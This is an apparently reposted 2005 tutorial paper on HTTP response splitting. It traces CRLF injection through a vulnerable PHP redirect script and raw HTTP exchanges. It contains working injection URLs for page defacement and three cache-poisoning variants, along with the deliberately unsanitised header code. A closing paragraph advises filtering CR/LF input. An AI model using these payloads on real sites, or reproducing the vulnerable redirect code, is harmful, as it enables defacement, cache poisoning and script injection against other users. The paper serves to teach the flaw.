HTTP spliting is web application vulnerability ,resulting from the failiur of application or its environment to properly sanitize input values.It can be used to perform XSS attacks,Cross user defacement,web cache poinsioning,and similar exploits
HTTP response splitting occurs when:
- Data enters a web application through an untrusted source, most frequently an HTTP request.
- The data is included in an HTTP response header sent to a web user without being validated for malicious characters.
HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.
How it works?:
To first understand how these vulnerabilities work, let us first
understand how a normal response to a 302 redirection would be like.
Let’s consider a normal redirect script as so,
<?php
header ("Location: " . $_GET['page']);
?>
So a request like
http://icis.digitalparadox.org/~dcrab/redirect.php?page=http://www.digi
talparadox.org would redirect a user to http://www.digitalparadox.org.
Let us take a look under the hood at the headers,
User -to Server Get request
GET /~dcrab/redirect.php?page=http://www.digitalparadox.org
HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 response\r\n
HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.digitalparadox.org\r\n
[User input in headers]
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n
User to Server Get request for redirected page
GET / HTTP/1.1
Host: www.digitalparadox.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Now the server will respond with a normal 200 Found response and then
the user will see the web page www.digitalparadox.org. As you may have
also noticed each new line in the HTTP protocol is shown with a \r\n or
CR and LF. Thus it is obvious, that by injecting false \r\n or CR and
LF values in the user input followed by a false HTTP Request we can
make arbitrary content of our choice show up on the users browser, or
cause Cross user defacement, Cache poisoning, Hijack a page, or cause
browser cache poisoning. So by now you must have understood how a basic
HTTP Response Splitting vulnerability works, and got the overview of
what we basically have to do to exploit these vulnerabilities
correctly.
So now using such vulnerability as shown above to our advantage would
be done something as follows. We use the %0d%0a characters to poison
the header so as to attain a temporary state of defacement.
Thus injecting something like,
http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-
Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/fon
t%3E%3C/html%3E
Injected Data:
%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/fon
t%3E%3C/html%3E
This can also be written as,
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html><font color=red> hey</font></html>
The HTTP packets sent and received are as so,
User to Server Get request for the vulnerable page
GET /~dcrab/redirect.php?page=%0d%0aContent-
Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/fon
t%3E%3C/html%3E HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 Found Response
HTTP/1.1 302 Found
[First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location:
Content-Type: text/html
HTTP/1.1 200 OK
[Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html>
[Arbitary input by user is shown as the redirected page]
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
0
As we can see in the exploitation process above, the server runs the
normal 302 response, the arbitrary input we gave in the location header
causes it to start a new 200 OK response which shows our inputted data
to the user as a normal web server response, Thus we have carried out a
Cross Site Scripting exploitation of the Html Splitting vulnerability.
Cache poisoning:
To make the cache server, cache our request we must add some new
headers. The Last-Modified header in the HTTP response will cause most
cache servers to cache the web site, thus allowing our poisoned website
to appear in the cache, as long as the Last-modified header is sent
with a date ahead of the current date. Sending of the Cache-Control:
no-cache and/or Pragma: no-cache requests will cause non cached
websites to be added to the cache.
Some example versions of the cache poisoning exploits for the above
vulnerable example are,
Last-Modified example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-
Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html>
HTTP/1.1
Cache-Control example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-
Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-
Control:%20no-cache%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html>
HTTP/1.1
Pragma example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-
Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20nocache%
0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
To avoid such HTTP Splitting vulnerabilities parse all user input for
CR LF \r\n %0d%0a or any other forms of encoding these or other such
malicious characters before using them in any form of HTTP headers. The
HTTP Response Splitting vulnerability is a very serious vulnerability
and is currently present on many big web sites such as anti-virus
agencies, Auction websites, and large Search engine/Chat networks.
These vulnerabilities can be used to fool their clients and steal
critical information and thus is a very serious threat. It is a very
big threat and is not recognized by many current security analysts. In
this paper I haven’t gone into deep detail as such papers are already
available online (Look in recommendations).
Author:
This paper is by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to
contact me. You can find me at, http://digitalparadox.org/ or
http://www.hackerscenter.com. Lookout for my soon to come out book on
Secure coding with php.
References:
http://www.securityfocus.com/archive/107/336744
http://www.securityfocus.com/archive/1/271515
http://www.securityfocus.com/archive/1/290872
http://www.packetstormsecurity.org/papers/general/whitepaper_httprespon
se.pdf
0 comments:
Post a Comment